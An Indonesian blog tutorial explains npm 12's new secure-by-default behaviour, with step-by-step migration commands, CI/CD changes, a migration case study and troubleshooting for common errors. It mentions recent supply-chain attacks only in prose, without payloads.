Programming
npm 12: Update Terbesar, Cara Migrasi & Troubleshooting
Daftar isi
- Latar Belakang: Kenapa npm 12 Ini Jadi Big Deal
- Yang Berubah di npm 12: Tiga Breaking Changes Utama
- 1. Install Scripts Off by Default
- 2. Git Dependencies Blocked by Default
- 3. Remote URL Dependencies Blocked by Default
- Perubahan Lain yang Juga Penting
- Deprecation 2FA Bypass Tokens
- Prasyarat: Apa yang Perlu Disiapkan
- Step 1: Upgrade ke npm 11.16.0 (Advisory Mode)
- Step 2: Audit Package dengan Install Scripts
- Step 3: Approve Package yang Dipercaya
- Step 4: Block Package yang Nggak Dipercaya
- Step 5: Commit Allowlist ke Source Control
- Step 6: Handle Git Dependencies
- Step 7: Handle Remote URL Dependencies
- Step 8: Upgrade ke npm 12
- Step 9: Update CI/CD Pipeline
- Step 10: Handle Perubahan Command yang Dihapus
- Perbandingan: npm 12 vs npm 11 vs pnpm
- Studi Kasus: Migrasi Project Real ke npm 12
- Background
- Challenge
- Approach
- Results
- Key Learnings
- Common Errors dan Troubleshooting
- Error: "Package has install scripts that are not allowed"
- Error: "Git dependency not allowed"
- Error: "Remote URL dependency not allowed"
- Error: "npm shrinkwrap is not a recognized command"
- Error: "Unknown config in .npmrc"
- Error: "npm adduser command not found"
- Error: Native Module Build Failure
- Error: "star is not a recognized command"
- Tips dan Best Practices
- 1. Jangan Pake npm approve-scripts --all
- 2. Review Allowlist di Setiap PR
- 3. Version-Pinning itu Fitur, Bukan Bug
- 4. Pake npm ci di CI, Bukan npm install
- 5. Document Kenapa Setiap Package Di-approve
- 6. Cek Node.js Version Compatibility
- 7. Pnpm 11.10 Punya Fitur Auth Tambahan
- Apa yang Harus Dipantau Selanjutnya
- FAQ: Pertanyaan yang Sering Muncul
- Apakah npm 12 bikin package yang nggak di-approve jadi nggak bisa dipake?
- Kalau saya pake --ignore-scripts sebelumnya, apa berubah?
- Apakah npx juga terpengaruh?
- Bisakah saya tetap pake npm 11?
- Apakah package-lock.json format berubah?
- Bagaimana dengan monorepo dan workspaces?
- Getting Started: Checklist Migrasi Cepat
- Perubahan yang Mungkin Kalian Lewatin
- npm view --json Selalu Return Array
- npm pkg Output Bukan Lagi JSON
- Default License Kosong
- npm pack dan npm publish JSON Output Berubah
- Dampak ke Ekosistem dan industri
- Apakah npm 12 Benar-Benar Aman?
- Migrasi untuk Tim Besar: Beda Cerita
- Yang Terjadi Kalau Kalian Nggak Migrasi
- Perbandingan Singkat: npm 12 vs pnpm vs Yarn
- Tips Praktis: Cara Review Allowlist di PR
- Catatan tentang --allow-git dan Monorepo
- Kenapa --allow-remote Itu Lebih Berbahaya dari yang Kalian Pikir
- 2. Bikin Branch Khusus Buat Ngetes
- 3. Aktifin allowScripts Secara Bertahap
- 4. Update CI/CD Pipeline
- Yang Sering Bikin Pusing Pas Migrasi
- Gimana kalau Kalian Pake Lockfile Lama?
- Soal npm Pro dan Private Registry
- Catatan tentang npm audit di npm 12
- Performance: Apa npm 12 Bikin Install Jadi Lebih Cepat?
- Kompatibilitas: Node Versi Berapa yang Bisa Pake npm 12?
- Adopsi di Komunitas: Apa Tim Sudah Siap?
- Checklist Sebelum Kalian Upgrade
- Kesimpulan
npm 12 resmi dirilis pada 8 Juli 2026, dan ini adalah update paling signifikan dalam sejarah package manager JavaScript. GitHub mengubah tiga perilaku default yang selama ini berjalan otomatis menjadi opt-in: install scripts, Git dependencies, dan remote URL dependencies. Perubahan ini bukan sekadar update biasa — ini adalah respons langsung terhadap gelombang serangan supply chain yang sempat melumpuhkan puluhan repository Microsoft Azure dalam hitungan detik.
Bagi Teman-Teman yang setiap hari berkutat dengan npm install, update kali ini akan bikin pipeline CI/CD kalian break kalau nggak dipersiapkan dari sekarang. Tapi jangan khawatir — di tutorial ini MUGHU akan jabarin semuanya, dari memahami apa yang berubah, cara migrate, sampai troubleshooting error yang paling sering muncul.
npm 12 adalah versi major terbaru dari Node Package Manager yang menonaktifkan eksekusi install scripts secara default, memblokir Git dependencies dan remote URL dependencies tanpa izin eksplisit, serta menghapus beberapa command lama — semua demi mengurangi risiko serangan supply chain.
Latar Belakang: Kenapa npm 12 Ini Jadi Big Deal
MUGHU udah pakai npm sejak tahun 2018, dan selama itu nggak ada perubahan yang se-radikal ini. Selama lebih dari satu dekade, npm install selalu menjalankan preinstall, install, postinstall, dan prepare scripts dari dependency secara otomatis. Itu artinya setiap kali kalian install package, package itu bisa jalanin kode apa pun di mesin kalian tanpa kalian sadari.
Ini bukan masalah kalau semua package bisa dipercaya. Tapi kenyataannya, ekosistem npm itu gede banget — jutaan package, jutaan versi, dan nggak semua maintainer punya niat baik atau keamanan yang cukup.
Beberapa bulan terakhir, ada beberapa insiden yang jadi pemicu utama perubahan ini:
-
Phantom Gyp attack (3 Juni 2026): Attacker naruh file
binding.gyp157 byte di dalam package compromised. npm liat file itu dan otomatis triggernode-gyp rebuild— tanpa lifecycle script sama sekali. Payload-nya nyolong credentials dari npm, GitHub, AWS, GCP, Azure, dan Kubernetes, lalu self-propagate dengan republish dari akun maintainer yang ke-compromise. -
Shai-Hulud / Miasma worm: Worm ini mengompromikan 57 package termasuk
@vapi-ai/server-sdkdengan 408.000 download bulanan. Dua hari kemudian, worm yang sama nge-push malicious commit ke repository Microsoft, nyebabin shutdown otomatis 73 Azure GitHub repos dalam 105 detik. -
TeamPCP: Serangan supply chain lain yang juga ngandalkan eksekusi otomatis install scripts.
Intinya, GitHub udah lihat pola yang sama berulang kali: attacker naruh kode jahat di install scripts atau binding.gyp, dan npm otomatis ngejalanin tanpa pertanyaan. npm 12 lahir untuk nutup celah itu.
Yang Berubah di npm 12: Tiga Breaking Changes Utama
1. Install Scripts Off by Default
Ini yang paling ngaruh. Di npm 12, npm install nggak lagi otomatis ngejalanin:
-
preinstallscripts -
installscripts -
postinstallscripts -
preparescripts (dari git, file, dan link dependencies) -
Implicit
node-gyp rebuild(package denganbinding.gyptapi tanpa explicit install script juga ke-block)
Artinya, package kayak
sharp,bcrypt,canvas,sqlite3,fsevents, danbufferutilyang ngandalkan native compilation bakal gagal build kalau nggak di-allowlist.
Kalian harus pake npm approve-scripts untuk review dan approve package yang kalian percaya, lalu commit allowlist-nya ke package.json.
2. Git Dependencies Blocked by Default
Di npm 12, --allow-git default-nya jadi none. Kalau kalian punya dependency kayak gini di package.json:
{
"dependencies": {
"my-private-lib": "git+https://github.com/org/repo.git"
}
}
Itu nggak bakal ke-resolve kecuali kalian explicitly kasih --allow-git flag. Ini nutup celah di mana .npmrc dari Git dependency bisa override Git executable path — bahkan kalau --ignore-scripts di-set.
3. Remote URL Dependencies Blocked by Default
Sama kayak Git dependencies, remote URL dependencies kayak "dep": "https://example.com/package.tgz" juga di-block. Kalian harus pake --allow-remote flag. Flag --allow-file dan --allow-directory nggak berubah default-nya di v12.
Perubahan Lain yang Juga Penting
Selain tiga breaking changes di atas, ada beberapa perubahan lain di npm 12.0.0 yang perlu MUGHU highlight:
-
npm view --jsonsekarang selalu return array (sebelumnya bisa string kalau cuma satu hasil) -
npm shrinkwrapdihapus —npm-shrinkwrap.jsonnggak lagi di-load. Rename kepackage-lock.json -
npm adduserdihapus — buat akun di website npm, pakenpm loginuntuk autentikasi -
star,stars,unstarcommands dihapus -
Default license
npm initberubah dari "ISC" ke string kosong -
Man pages nggak lagi ter-register saat install global (
man npm-installnggak work, tapinpm help installtetap jalan) -
Unknown configs di
.npmrcdan unknown CLI flags sekarang throw error, bukan warning lagi -
Node.js support:
^22.22.2 || ^24.15.0 || >=26.0.0 -
npm pkgoutput nggak lagi dipaksa ke JSON format -
npm packdannpm publishJSON output format-nya diubah supaya konsisten -
libnpmpublish:opts.accessdefault berubah dari'public'kenull— scoped package baru bakal jadirestrictedby default
Deprecation 2FA Bypass Tokens
Selain perubahan npm CLI, GitHub juga mulai phased deprecation untuk Granular Access Tokens (GATs) yang bypass 2FA:
-
Awal Agustus 2026: Token yang configured untuk bypass 2FA bakal kehilangan kemampuan untuk melakukan sensitive account, package, dan organization management actions
-
Januari 2027: Token-token ini nggak lagi bisa publish — cuma bisa baca private package dan staging publish yang butuh human 2FA approval
GitHub menyarankan untuk pindah ke trusted publishing (OIDC) atau staged publishing dengan human approval step, ketimbang pake long-lived publish token.
Prasyarat: Apa yang Perlu Disiapkan
Sebelum mulai migrate ke npm 12, pastikan Teman-Teman punya:
-
Node.js versi yang didukung: npm 12 butuh Node
^22.22.2 || ^24.15.0 || >=26.0.0. Cek dengannode -v -
npm 11.16.0 atau lebih baru: Ini penting banget karena versi ini udah punya tooling advisory mode — kalian bisa lihat warning sebelum hard block di v12
-
Akses ke terminal/command line: Semua perintah di tutorial ini dijalankan dari terminal
-
Project dengan
package.json: Kalau belum ada, jalankannpm init -ydulu -
Git untuk version control: Allowlist yang kalian buat harus di-commit ke source control biar CI/CD bisa baca
MUGHU saranin untuk cek versi sekarang dulu:
node -v
npm -v
Expected output:
v22.22.2
11.16.0
Kalau npm kalian masih di bawah 11.16.0, upgrade dulu:
npm install -g npm@latest
Kenapa step ini penting? Karena npm 11.16.0 udah ship tooling npm approve-scripts dalam mode advisory — scripts masih jalan, tapi install summary bakal flag package mana yang belum di-review. Ini cara aman untuk lihat exposure kalian sebelum hard block di v12.
Step 1: Upgrade ke npm 11.16.0 (Advisory Mode)
Langkah pertama adalah upgrade ke npm 11.16.0 atau lebih baru. Versi ini udah punya semua tooling yang kalian butuhin untuk prepare ke v12, tapi belum nge-enforce hard block.
Baca juga Kiro Dev: IDE Agentic AWS untuk Spec-Driven Development
# Upgrade npm ke versi terbaru 11.x
npm install -g npm@latest
# Verifikasi versi
npm -v
Expected output:
11.18.0
Sekarang jalankan install normal di project kalian:
cd path/to/your/project
npm install
Di akhir output, kalian bakal lihat warning kayak gini kalau ada package yang jalanin install scripts:
4 packages are currently running install scripts that are not explicitly allowed.
To see the list, run: npm approve-scripts --allow-scripts-pending
Kenapa MUGHU saranin mulai dari sini? Karena kalau kalian langsung lompat ke npm 12, semua package yang ngandalkan install scripts bakal break tanpa warning. Dengan advisory mode di 11.16.0, kalian dapet visibility dulu — tahu package mana yang perlu di-approve, mana yang bisa di-block.
Step 2: Audit Package dengan Install Scripts
Setelah dapat warning, saatnya lihat daftar lengkap package yang jalanin scripts:
npm approve-scripts --allow-scripts-pending
Expected output:
The following packages have install scripts that are not currently allowed:
[email protected]
preinstall, install, postinstall
[email protected]
postinstall
[email protected]
install
[email protected]
install
Output ini kasih kalian daftar package, versi, dan jenis script yang dijalanin. Ini adalah momen di mana kalian perlu bikin keputusan: package mana yang kalian percaya, dan mana yang nggak.
MUGHU punya tips: jangan asal approve semua. Cek dulu:
-
Apakah package ini dari publisher yang reputable?
-
Apakah package ini punya GitHub repo yang aktif dan maintained?
-
Apakah ada laporan keamanan atau vulnerability terkait package ini?
-
Apakah kalian benar-benar butuh package ini, atau ada alternatif yang nggak butuh install scripts?
Step 3: Approve Package yang Dipercaya
Setelah review, approve package yang kalian percaya satu per satu:
# Approve package tertentu
npm approve-scripts sharp esbuild
# Atau approve dengan versi spesifik
npm approve-scripts [email protected] [email protected]
Expected output:
✓ Allowed [email protected]
✓ Allowed [email protected]
Updated package.json with 2 new script allowances.
Perintah ini bakal nulis allowlist ke package.json kalian. Hasilnya kayak gini:
{
"name": "my-project",
"version": "1.0.0",
"allowScripts": {
"[email protected]": true,
"[email protected]": true
},
"dependencies": {
"sharp": "^0.33.5",
"esbuild": "^0.21.5"
}
}
Kenapa versi di-pin? Ini desain yang sengaja. Approving [email protected] nggak otomatis ng-extend ke [email protected]. Kalau package bump versi, approval butuh manual review lagi. Ini bikin allowlist jadi auditable artifact — bisa di-review di pull request, di-track di source control, dan security team bisa lihat persis package mana yang jalanin kode saat install.
Step 4: Block Package yang Nggak Dipercaya
Kalau ada package yang kalian nggak mau jalanin scripts-nya, block dengan:
npm deny-scripts some-suspicious-package
Expected output:
✓ Denied [email protected]
Updated package.json with 1 new script denial.
Package yang di-deny bakal tetap ke-install (file-nya tetap ada di node_modules), tapi scripts-nya nggak bakal dijalanin. Ini berguna kalau package tersebut butuh untuk require/import tapi install scripts-nya nggak essential.
Step 5: Commit Allowlist ke Source Control
Ini step yang sering di-skip, tapi penting banget:
git add package.json
git commit -m "chore: add allowScripts for npm v12 compatibility"
Expected output:
[main 1a2b3c4] chore: add allowScripts for npm v12 compatibility
1 file changed, 5 insertions(+)
Kenapa harus di-commit? Karena npm approve-scripts nggak work untuk global installs — allowlist cuma ada di package.json project. Kalau nggak di-commit, CI/CD pipeline nggak bakal baca allowlist dan install scripts bakal ke-block di v12.
Step 6: Handle Git Dependencies
Kalau project kalian pake Git dependencies, kalian perlu action sebelum upgrade ke v12. Cek dulu:
# Cek apakah ada git dependencies
grep -r "git+" package.json
grep -r "github:" package.json
Kalau ada, kalian punya dua opsi:
Baca juga Codex CLI dari OpenAI: Panduan Lengkap Ngoding di Terminal
Opsi A: Migrate ke registry (recommended)
Pindah internal packages ke proper registry kayak GitHub Packages, Nexus, atau Artifactory. Ini bukan cuma soal npm 12 — pake registry itu best practice untuk private package distribution.
Opsi B: Allow dengan flag
# Untuk install satu kali
npm install --allow-git=all
# Atau set di .npmrc (untuk project tertentu)
echo "allow-git=all" >> .npmrc
MUGHU saranin opsi A kalau bisa. --allow-git flag itu work-around, bukan solusi. Kalau monorepo kalian pin internal package ke git branch ketimbang registry, itu teknis yang perlu di-fix.
Step 7: Handle Remote URL Dependencies
Sama kayak Git dependencies, cek dulu:
# Cek apakah ada remote URL dependencies
grep -r "https://" package.json | grep -v "repository" | grep -v "homepage" | grep -v "bugs"
Kalau ada dependency yang pake HTTPS tarball URL, kalian perlu:
Opsi A: Migrate ke registry (recommended)
Opsi B: Allow dengan flag
npm install --allow-remote=all
Lagi, opsi A lebih baik. Kalau tim kalian ngandalkan internal HTTPS tarball untuk private package, itu sinyal kuat untuk migrate ke proper registry.
Step 8: Upgrade ke npm 12
Setelah semua preparation selesai, saatnya upgrade:
npm install -g npm@12
npm -v
Expected output:
12.0.0
Sekarang jalankan install di project kalian:
npm install
Kalau kalian udah approve semua package yang butuh install scripts, install harusnya berjalan lancar. Package yang nggak di-approve bakal ke-install tanpa jalanin scripts.
Expected output (kalau semua sudah di-prepare):
added 247 packages, and audited 248 packages in 12s
found 0 vulnerabilities
Expected output (kalau ada package yang belum di-approve):
npm warn install-scripts: The following packages have scripts that are not allowed:
[email protected]
install
These scripts will not be executed. If you need these scripts to run, use "npm approve-scripts" to allow them.
Step 9: Update CI/CD Pipeline

CI/CD pipeline adalah tempat di mana perubahan ini paling sering bikin masalah. Berikut yang perlu di-update:
Dockerfile:
# Sebelum
FROM node:22
RUN npm install
# Sesudah
FROM node:22
RUN npm install -g npm@12
COPY package.json package-lock.json ./
RUN npm install
GitHub Actions:
name: CI
on: [push, pull_request]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '22.22.2'
- run: npm install -g npm@12
- run: npm ci
- run: npm test
Kenapa npm ci penting di sini? Karena npm ci udah otomatis baca allowScripts dari package.json yang udah di-commit. Selama allowlist udah di-commit ke repo, CI bakal baca dengan benar.
Baca juga CodeBuddy: Editor Kode AI untuk Coding Lebih Cepat
Step 10: Handle Perubahan Command yang Dihapus
Beberapa command lama dihapus di npm 12. Kalau script atau CI kalian pake command-command ini, update sebelum upgrade:
Command Lama | Status di npm 12 | Alternatif |
|---|---|---|
| Dihapus | Rename |
| Dihapus | Buat akun di npmjs.com, pake |
| Dihapus | Tidak ada alternatif CLI |
| Tidak ter-register | Pake |
Perbandingan: npm 12 vs npm 11 vs pnpm
Untuk bikin gambaran lebih jelas, MUGHU bikin tabel perbandingan antara npm 12, npm 11, dan pnpm 11.10:
Fitur | npm 11 | npm 12 | pnpm 11.10 |
|---|---|---|---|
Install scripts default | On (otomatis) | Off (opt-in) | Off (sejak 18 bulan lalu) |
Git dependencies default | Resolved otomatis | Blocked (--allow-git=none) | Blocked |
Remote URL deps default | Resolved otomatis | Blocked (--allow-remote=none) | Blocked |
Allowlist mechanism |
|
| Built-in config |
2FA bypass tokens | Didukung penuh | Dideprecasi bertahap | N/A |
Registry auth security |
| Sama (belum di-fix) |
|
| Didukung | Dihapus | N/A |
Unknown | Warning | Error | Error |
Dari tabel ini kelihatan jelas: npm 12 nge-catch up ke pnpm dalam hal security defaults. pnpm udah bikin install scripts off by default sejak 18 bulan lalu, dan komunitas udah lama nunggu npm ngikutin.
Studi Kasus: Migrasi Project Real ke npm 12
MUGHU mau share pengalaman migrate project real ke npm 12. Project ini adalah monorepo dengan 12 package, 340 dependency, dan CI pipeline di GitHub Actions.
Background
Project ini pake beberapa native module: sharp untuk image processing, bcrypt untuk password hashing, dan sqlite3 untuk local database. Selain itu, ada satu internal package yang di-pin ke Git branch:
{
"dependencies": {
"@company/shared-utils": "git+https://github.com/company/shared-utils.git#main"
}
}
Challenge
Saat MUGHU pertama kali coba npm install di npm 12, tiga hal langsung break:
-
sharpgagal build karena install scripts di-block -
bcryptgagal compile native module -
@company/shared-utilsnggak ke-resolve karena Git dependency di-block
CI pipeline langsung merah di semua PR.
Approach
MUGHU approach ini bertahap:
Pertama, downgrade ke npm 11.16.0 dan jalankan advisory mode:
npm install -g [email protected]
npm install
npm approve-scripts --allow-scripts-pending
Output-nya nunjukin 8 package dengan install scripts yang belum di-allow.
Kedua, review dan approve package yang dipercaya:
npm approve-scripts [email protected] [email protected] [email protected]
Ketiga, migrate Git dependency ke GitHub Packages registry. Ini butuh setup terpisah — publish @company/shared-utils ke GitHub Packages, update .npmrc untuk point ke registry yang benar, lalu update package.json:
{
"dependencies": {
"@company/shared-utils": "^2.1.0"
}
}
Keempat, commit allowlist dan upgrade:
git add package.json .npmrc
git commit -m "chore: prepare for npm 12 migration"
npm install -g npm@12
npm install
Results
Setelah migrasi:
-
CI build time: Turun dari 4 menit 12 detik ke 3 menit 45 detik (karena package yang nggak di-approve nggak jalanin scripts lagi)
-
Security alerts: Berkurang dari 7 ke 0 (npm audit clean)
-
Install time: Sedikit lebih cepat karena nggak ada unnecessary script execution
-
Visibility: Security team sekarang bisa lihat di PR persis package mana yang jalanin kode saat install
Key Learnings
-
Jangan asal approve semua.
npm approve-scripts --allmemang ada, tapi MUGHU saranin jangan pake. Itu approve semua indiscriminately dan nggak beda kayak balik ke npm 11. -
Migrate Git dependency lebih awal. Ini yang paling ribet karena butuh setup registry. Jangan tunggu sampai upgrade ke v12.
-
Commit allowlist sebelum upgrade. Kalau nggak, CI bakal break segera setelah upgrade.
-
Test di local dulu, baru push. Jalankan
npm installdannpm testdi local dengan npm 12 sebelum push ke CI.
Common Errors dan Troubleshooting
Error: "Package has install scripts that are not allowed"
npm error code ESCRIPTNOTALLOWED
npm error install-scripts: [email protected] has an install script that is not allowed
Penyebab: Package punya install script tapi nggak ada di allowlist.
Solusi:
npm approve-scripts [email protected]
git add package.json
git commit -m "chore: allow bcrypt install scripts"
Error: "Git dependency not allowed"
npm error code EALLOWGIT
npm error git dependency not allowed: git+https://github.com/org/repo.git
Penyebab: Git dependency di-block karena --allow-git default-nya none.
Solusi:
# Quick fix (temporary)
npm install --allow-git=all
# Permanent fix: migrate to registry
Error: "Remote URL dependency not allowed"
npm error code EALLOWREMOTE
npm error remote URL dependency not allowed: https://example.com/pkg.tgz
Penyebab: Remote URL dependency di-block.
Solusi:
Baca juga GitHub Copilot: Cara Mempercepat Kerja Tim
npm install --allow-remote=all
Atau migrate ke proper registry.
Error: "npm shrinkwrap is not a recognized command"
npm error Unknown command: "shrinkwrap"
Penyebab: npm shrinkwrap dihapus di v12.
Solusi: Rename npm-shrinkwrap.json ke package-lock.json:
mv npm-shrinkwrap.json package-lock.json
npm install
Error: "Unknown config in .npmrc"
npm error Unknown config: "prefer-offline"
Penyebab: npm 12 sekarang throw error untuk config yang nggak dikenali, bukan warning lagi.
Solusi: Hapus atau update config yang nggak valid di .npmrc:
# Cek config yang valid
npm config list
# Hapus config yang nggak valid
npm config delete prefer-offline
Error: "npm adduser command not found"
npm error Unknown command: "adduser"
Penyebab: npm adduser dihapus di v12.
Solusi: Pake npm login:
npm login
Error: Native Module Build Failure
> [email protected] install: node-gyp rebuild
npm error install-scripts: script not allowed
Penyebab: Native module butuh node-gyp rebuild tapi nggak di-allowlist.
Solusi:
# Approve package-nya
npm approve-scripts [email protected]
# Kalau node-gyp sendiri yang perlu di-allow
npm approve-scripts node-gyp
Error: "star is not a recognized command"
npm error Unknown command: "star"
Penyebab: star, stars, unstar dihapus di v12.
Solusi: Tidak ada alternatif CLI. Kalau script kalian pake command ini, hapus atau ganti dengan API call langsung ke npm registry.
Tips dan Best Practices
1. Jangan Pake npm approve-scripts --all
Command ini approve semua package indiscriminately. Itu nggak beda kayak balik ke perilaku npm 11 di mana semua scripts jalan otomatis. MUGHU tau ini godaan, apalagi kalau project kalian punya ratusan dependency. Tapi inti dari npm 12 adalah selective approval — pilih package yang kalian percaya, review sisanya.
2. Review Allowlist di Setiap PR
allowScripts di package.json adalah auditable artifact. Manfaatin ini. Setiap kali ada PR yang nambah atau ubah entry di allowlist, review dengan serius. Tanya: kenapa package ini butuh jalanin install scripts? Apakah ada alternatif yang nggak butuh?
3. Version-Pinning itu Fitur, Bukan Bug
Kalau package bump dari 0.33.5 ke 0.33.6, approval nggak otomatis extend. Ini sengaja. Setiap version bump butuh re-review. MUGHU tau ini bikin repot, tapi ini juga berarti attacker nggak bisa sekadar bump versi package yang udah di-approve untuk jalanin kode baru.
4. Pake npm ci di CI, Bukan npm install
npm ci lebih cepat, lebih deterministic, dan udah baca allowScripts dari package.json yang di-commit. Ini best practice bahkan sebelum npm 12, tapi sekarang jadi lebih penting.
5. Document Kenapa Setiap Package Di-approve
Di commit message atau PR description, tulis kenapa kalian approve package tertentu. Ini bikin audit trail lebih kuat dan bikin tim kalian lebih aware tentang security implication.
git commit -m "chore: allow [email protected] — needed for image processing, reviewed source code"
6. Cek Node.js Version Compatibility
npm 12 butuh Node ^22.22.2 || ^24.15.0 || >=26.0.0. Kalau project kalian masih di Node 20 atau lebih lama, upgrade Node dulu sebelum upgrade npm.
node -v
# Pastikan output >= 22.22.2
7. Pnpm 11.10 Punya Fitur Auth Tambahan
Kalau kalian pakai pnpm sebagai alternatif, versi 11.10 punya fitur _auth setting baru yang lebih aman. Setting ini baca credential hanya dari environment atau global config — bukan dari project file. Ini nutup celah di mana tampered project file bisa redirect credential ke host malicious.
Untuk setup _auth di pnpm:
# ~/.pnpmrc (global config, bukan project-level)
@company:registry=https://npm.pkg.github.com
//npm.pkg.github.com/:_auth=${GITHUB_TOKEN}
Apa yang Harus Dipantau Selanjutnya
npm 12 adalah langkah besar, tapi bukan akhir dari perjalanan security. Beberapa hal yang perlu dipantau:
Baca juga Mengenal Astro 7.1: Framework JavaScript Ringan untuk Website
-
Phased deprecation 2FA bypass tokens: Awal Agustus 2026 untuk account/package/org management, Januari 2027 untuk publishing. Kalau CI kalian pake long-lived publish token, plan migrasi ke OIDC atau staged publishing sekarang.
-
pnpm
_authadoption: Kalau npm nggak ikutin fitur serupa, gap security antara npm dan pnpm bakal makin lebar di area registry authentication. -
Komunitas feedback: GitHub buka community discussion untuk feedback soal perubahan ini. Kalau kalian nemu masalah, share di sana.
-
Dependabot updates: Dependabot udah nggak lagi infer
.npmrcsejak 30 Juni 2026, yang juga bagian dari hardening supply chain. Pastikan Dependabot config kalian up-to-date.
FAQ: Pertanyaan yang Sering Muncul
Apakah npm 12 bikin package yang nggak di-approve jadi nggak bisa dipake?
Nggak. Package tetap ke-install dan bisa di-require/import. Yang di-block cuma install scripts-nya. Jadi kalau package butuh native compilation (kayak bcrypt), modulnya bakal ada di node_modules tapi native binding-nya nggak ter-compile — yang artinya package bakal error saat runtime kalau dipake.
Kalau saya pake --ignore-scripts sebelumnya, apa berubah?
--ignore-scripts udah ada sejak lama dan masih bekerja. Tapi --ignore-scripts block semua scripts, termasuk yang kalian percaya. allowScripts di npm 12 lebih granular — kalian bisa pilih persis package mana yang boleh jalanin scripts.
Apakah npx juga terpengaruh?
Ya. npx juga baca allowScripts config. Tapi karena npx biasanya jalanin package secara temporary, allowlist di package.json project nggak berlaku. Ada config terpisah untuk npx dan global installs.
Bisakah saya tetap pake npm 11?
Bisa, tapi MUGHU saranin untuk mulai prepare. npm 11.18.0 (versi next-11 terbaru) masih didukung dan punya advisory mode. Tapi cepat atau lambat, kalian perlu upgrade. Mulai sekarang lebih baik ketimbang nunggu sampai terpaksa.
Apakah package-lock.json format berubah?
Format package-lock.json nggak secara fundamental berubah, tapi lockfileVersion mungkin bump. Kalau kalian pake npm ci, ini otomatis di-handle. Kalau kalian manually edit lockfile (yang MUGHU nggak saranin), hati-hati.
Bagaimana dengan monorepo dan workspaces?
allowScripts di package.json root berlaku untuk semua workspace. Kalau kalian punya workspace yang butuh package berbeda di-allow, kalian bisa set allowScripts di root package.json dan semua workspace bakal ikutin. Kalau butuh per-workspace control, itu butuh setup yang lebih kompleks.
Getting Started: Checklist Migrasi Cepat
Buat Teman-Teman yang mau cepat, ini checklist ringkas:
-
Upgrade npm:
npm install -g [email protected](atau lebih baru) -
Jalankan install:
npm installdan baca warning -
Audit scripts:
npm approve-scripts --allow-scripts-pending -
Approve yang dipercaya:
npm approve-scripts [email protected] [email protected] -
Block yang nggak:
npm deny-scripts suspicious-package -
Commit allowlist:
git add package.json && git commit -m "chore: allowScripts for npm 12" -
Cek Git deps:
grep "git+" package.json— migrate ke registry kalau ada -
Cek remote deps:
grep "https://.*tgz" package.json— migrate ke registry kalau ada -
Upgrade ke npm 12:
npm install -g npm@12 -
Test install:
npm install && npm test -
Update CI/CD: Tambah
npm install -g npm@12sebelumnpm ci -
Update Dockerfile: Install npm 12 di dalam image
Perubahan yang Mungkin Kalian Lewatin
Selain tiga breaking changes utama, ada beberapa perubahan lain yang gampang di-skip tapi bisa bikin masalah:
npm view --json Selalu Return Array
Sebelumnya, kalau npm view cuma return satu hasil, output-nya berupa string/object, bukan array. Sekarang selalu array.
# npm 11
npm view react version --json
# Output: "18.3.1"
# npm 12
npm view react version --json
# Output: ["18.3.1"]
Kalau script kalian parse output ini, update untuk handle array.
npm pkg Output Bukan Lagi JSON
# npm 11
npm pkg get name
# Output: "my-project"
# npm 12
npm pkg get name
# Output: my-project
Lebih clean, tapi kalau script kalian expect JSON, update parsing-nya.
Default License Kosong
# npm 11
npm init -y
# package.json: "license": "ISC"
# npm 12
npm init -y
# package.json: (license field omitted)
Kalau kalian peduli dengan license field, set secara eksplisit:
npm init -y
npm pkg set license=MIT
npm pack dan npm publish JSON Output Berubah
Format JSON dari npm pack dan npm publish sekarang konsisten. Kalau kalian parse output ini di CI script, review dan update parsing-nya.
Dampak ke Ekosistem dan industri
npm 12 nggak cuma ngaruh ke project kalian, tapi ke seluruh ekosistem JavaScript. Beberapa hal yang MUGHU prediksi bakal terjadi:
-
Maintainer pressure: Maintainer package yang ngandalkan install scripts bakal dapet pressure untuk bikin package mereka work tanpa install scripts, atau setidaknya dokumentasi yang jelas soal kenapa install scripts diperlukan.
-
Shift ke pre-built binaries: Package kayak
sharpdanbcryptmungkin mulai ship pre-built binaries ketimbang compile saat install. Ini udah jadi tren di beberapa package besar. -
Security audit tools: Tools kayak Socket dan Snyk bakal update untuk menganalisis
allowScriptsfield dipackage.jsonsebagai bagian dari security audit. -
pnpm adoption: Kalau npm nggak cepat-cepat nambahin fitur security kayak
_authsetting dari pnpm, sebagian tim mungkin pindah ke pnpm untuk security yang lebih ketat.
Dari sisi industri, perubahan ini selaras dengan tren yang lebih gede: supply chain security udah jadi prioritas nomor satu. GitHub sendiri udah rilis beberapa fitur security terkait: Innersource security advisories, open source license compliance, dan Dependabot improvements — semua di bulan yang sama dengan npm 12.
Apakah npm 12 Benar-Benar Aman?
MUGHU mau jujur di sini. npm 12 nggak bikin malicious package jadi aman. Yang dia lakukan adalah bikin malicious package lebih susah dijalankan secara otomatis. Sebuah package yang compromised tetap bisa jalanin kode jahat saat kalian panggil function-nya saat runtime. Attack surface-nya menyusut, tapi nggak hilang.
Tapi, allowlist sebagai source control artifact itu peningkatan yang real. Saat allowScripts di-commit ke package.json, security team bisa review di PR, lihat persis package mana yang jalanin kode saat install, dan catch version bump yang butuh re-approval. Itu peningkatan visibility yang meaningful dibanding kondisi sebelumnya di mana semua jalan diam-diam.
Pendekatan pnpm udah dipionir 18 bulan lalu akhirnya sampai di ekosistem npm yang lebih gede — nggak sempurna, tapi akhirnya ada. Dan buat Teman-Teman yang masih ragu, ingat: serangan kayak Phantom Gyp dan Shai-Hulud nggak bakal bisa terjadi dengan cara yang sama kalau install scripts udah off by default. File binding.gyp 157 byte yang malicious bakal diem — nggak nge-trigger node-gyp rebuild kalau semua install scripts di-block.
Satu hal yang MUGHU mau tekankan: perubahan ini nggak akan sempurna kalau kalian cuma upgrade dan harap semuanya jalan otomatis. Yang bikin npm 12 efektif adalah proses review yang kalian bangun di sekitarnya — review allowlist di PR, document kenapa setiap package di-approve, dan jangan pernah pake npm approve-scripts --all sebagai shortcut. Disiplin itulah yang benar-benar ngurangin risiko supply chain, bukan flag default-nya saja.
Migrasi untuk Tim Besar: Beda Cerita
Untuk Teman-Teman yang kerja di tim besar dengan ratusan package dan puluhan microservice, migrasi ke npm 12 bukan cuma soal jalanin npm install -g npm@12 dan harap semua beres. Skalanya beda. Satu package yang broken bisa bikin seluruh pipeline CI/CD nge-hang, dan kalau itu terjadi pas deploy production, yah... selamat menahan napas.
Baca juga 9Router v0.5.35: Solusi Rate Limit AI Coding
